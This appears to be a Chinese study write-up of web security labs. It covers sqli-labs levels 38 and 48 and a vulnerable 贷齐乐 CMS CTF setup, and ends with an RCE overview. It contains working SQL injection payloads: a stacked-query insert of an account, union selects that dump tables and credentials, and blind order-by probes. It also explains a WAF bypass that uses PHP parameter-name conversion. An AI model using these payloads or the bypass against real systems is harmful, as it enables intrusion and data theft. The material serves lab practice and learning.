目录
sqli-labs注入第38,48关
第38关(单引号闭合)
编辑 第48关 (GET请求-基于错误-盲注-数字型-order by 排序
编辑
贷齐乐系统多处Sql注入漏洞
环境搭建
将贷齐乐源码放入phpstudy中的www目录下
在phpstudy上创建网站:
在本地数据库中创建数据库--ctf,并创建users表,往表中插入数据::
源码
waf1:
waf2:
注入思路:
Rce漏洞
可能产生rce漏洞的函数
sqli-labs注入第38,48关
第38关(单引号闭合)
使用单引号闭合进行注入,也可以使用堆叠注入,这里存在mysqli_multi_query函数,支持多条Sql语句同时进行。
mysqli_multi_query()函数允许在单个函数调用中发送多个SQL查询到MySQL数据库。这些查询可以是SELECT、INSERT、UPDATE或DELETE等,它们将在数据库中按顺序处理,尽管它们是在单个函数调用中发送的。函数的工作方式是异步的,意味着它不会等待每个查询完成就立即返回,而是继续执行后续的PHP代码。然而,需要注意的是,虽然查询是异步发送的,但数据库会按照顺序处理它们。也就是说,第一个查询完成后,才会开始处理第二个查询,依此类推。
使用mysqli_multi_query()函数时,需要使用do-while循环来处理多个查询的结果。在每个查询完成后,可以使用mysqli_next_result()函数来获取下一个查询的结果。这种方式允许在单个数据库连接上并发地执行多个查询,提高了处理大量数据时的效率。
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
向数据表插入自己的账户密码
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b--+
查询字段
?id=-1' union select 1,2,(select group_concat(username,password) from users)b--+
查询密码账户
第48关 (GET请求-基于错误-盲注-数字型-order by 排序
Order By 后的注入原理:
order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数
输入:?sort=1
输入
?sort=rand()
,页面发生变化,那么说明这关是数字型
尝试报错注入
?sort=extractvalue(1,concat(0x7e,database(),0x7e))--+
没成功
当条件为假时,页面显示,所以输入
?sort=rand(0)--+
其次条件为真时,页面显示,输入
?sort=rand(1)--+
输入
?sort=rand(length(database())>5)--+
,判断数据库长度,从结果来看,条件为真,所以数据库长度>5,以此类推
输入
?sort=rand(mid(database(),1,1)>'m')--+
判断数据库第一个字母范围,从结果来看,条件为真,所以数据库第一个字母范围在(m,z]间
输入
?sort=rand((select count(table_name)from information_schema.tables where table_schema=database())>5)--+
判断数据表张数
输入
?sort=rand(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5)--+
判断第一张数据表长度,
输入?sort=rand(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m')--+判断第一张数据表的第一个字母范围,从结果看,在[a,m]间
贷齐乐系统多处Sql注入漏洞
贷齐乐系统是安全问题比较严重的P2P金融类的CMS。由于连续出了多次安全漏洞,所以官方给贷齐乐系统中添加了严重影响正常使用的变态WAF。
环境搭建
将贷齐乐源码放入phpstudy中的www目录下
在phpstudy上创建网站:
注意db.inc.php中数据库信息要与本地数据库一致
在本地数据库中创建数据库--ctf,并创建users表,往表中插入数据::
CREATE DATABASE ctf
use ctf
CREATE TABLE `users` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(255) DEFAULT NULL,
`pass` varchar(255) DEFAULT NULL,
`flag` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8
mysql> INSERT INTO `users` (`name`, `pass`, `flag`) VALUES ('admin', 'admin', 'hrctf{R3qeeeee_Is_1nterEst1ng}');
这里因为数据库早已建好,所以直接选择:use ctf
查看users表:
源码
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
// 定义函数 dhtmlspecialchars,用于过滤 HTML 特殊字符
function dhtmlspecialchars($string) {
if (is_array($string)) {
// 如果 $string 是数组,递归调用 dhtmlspecialchars 函数处理数组元素
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
// 如果 $string 不是数组,替换 HTML 特殊字符为对应的转义序列
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
// 定义函数 dowith_sql,用于检查 SQL 注入攻击
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
// 经过第一个waf处理
//i_d=1&i.d=aaaaa&submit=1
foreach ($_REQUEST as $key => $value) {
// 遍历 $_REQUEST 数组,对用户输入的数据进行 SQL 注入检查和 HTML 特殊字符过滤
$_REQUEST[$key] = dowith_sql($value);
}
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
//i_d=1&i.d=aaaaa&submit=1
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
//print_r($rewrite_url);exit;
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
//$_REQUEST[I_d]=-1 union select flag users
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// $_REQUEST不能有恶意字符
// $_SERVER
// 业务处理
//?i_d&i.d=aaaaaaa
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
?>
waf1:
foreach ($_REQUEST as $key => $value) {
// 遍历 $_REQUEST 数组,对用户输入的数据进行 SQL 注入检查和 HTML 特殊字符过滤
$_REQUEST[$key] = dowith_sql($value);
}
调用dowith_sql
函数,过滤了select、union等关键字。
waf2:
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
//i_d=1&i.d=aaaaa&submit=1
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
//print_r($rewrite_url);exit;
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
//$_REQUEST[I_d]=-1 union select flag users
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
过滤了括号等一些恶意字符。
explode函数在PHP中的作用是将一个字符串按照指定的分隔符拆分成一个数组。这个函数是PHP中的一个字符串处理函数,它提供了灵活的字符串分割功能。explode函数的原型为
array explode ( string $delimiter , string $string [, int $limit = PHP_INT_MAX] )
,其中
$delimiter
参数指定了分隔符,$string
参数是要被分割的字符串,而$limit
参数是可选的,用于限制分割后的数组元素数量。explode函数的功能包括但不限于:分割字符串:将输入的字符串按照指定的分隔符进行分割,并将结果作为一个数组返回。
限制分割次数:通过设置
$limit
参数,可以控制分割的次数,从而限制最终数组中的元素数量。支持多个分隔符:可以接受多个分隔符作为参数,实现对多种字符的同时分割。
去除分隔符:通过将
$string
参数设置为null,可以在分割过程中去除分隔符。
注入思路:
如果有一种方法让第一道WAF检测不到恶意字符再通过第二道WAF的覆盖,从而将恶意字符传入到$REQUEST中,就可以绕过WAF,完成注入。要让第一道WAF找不到恶意字符,那么我们就得再$REQUET中不得有恶意字符。其二便是$_SERVER可以有恶意字符,但是必须过我们的第二道WAF,然后再REQUEST接收。
php特性:
当我们输入两个相同名字的参数的时候,php是取后一个的。----php全局污染
自身在解析请求的时候如果参数名字中包含” “、”.”、”[“这几个字符会将他们转换成下划线。
绕过方法:
假设我发送的是这样一个请求:i_d=1&i.d=2 ,php先将i.d转换成i_d,即为i_d=1&i_d=2 ,再获取到的$_REQUEST['i_d']就是2。
可在$_SERVER['REQUEST_URI']中,i_d和i.d却是两个完全不同的参数名,那么切割覆盖后,获取的$_REQUEST['i_d']却是1。
1、hpp php 只接收同名参数的最后一个。
2、php中会将get传参中的key中的.转为_
3、
$_REQUEST
遵循php接收方式,i_d&i.d
中的最后一个参数的转换为下划线然后接收,所以我们的正常代码放在第二个参数,waf失效。
联合注入:
找到注入点:空格被过滤所所以用/**/代替空格
Rce漏洞
命令执行漏洞:
直接调用操作系统命令。例如,当Web应用在调用一些能将字符串转化成代码的函数时,如果未对用户输入进行合适的处理,可能造成命令执行漏洞。
代码执行漏洞:靠执行脚本代码调用操作系统命令。例如,PHP中的system()、exec()和passthru()函数,如果未对用户输入进行过滤或过滤不严,可能导致代码执行漏洞。
系统的漏洞造成命令注入:例如bash破壳漏洞(CVE-2014-6271)是一个远程命令执行(RCE)漏洞。这个漏洞存在于Bash shell中,使得攻击者可以通过构造特定的环境变量值来执行任意命令,从而获取系统的控制权。
调用的第三方组件存在代码执行漏洞:例如WordPress中用来处理图片的ImageMagick组件,以及JAVA中的命令执行漏洞(如struts2、ElasticsearchGroovy等)。
可能产生rce漏洞的函数
PHP的system()和exec()函数:这些函数用于执行外部命令,如果未对用户输入进行适当的过滤或验证,攻击者可能利用这些函数执行任意命令。
PHP的eval()函数:该函数用于执行字符串作为PHP代码,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。
PHP的create_function()函数:该函数用于动态创建函数,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。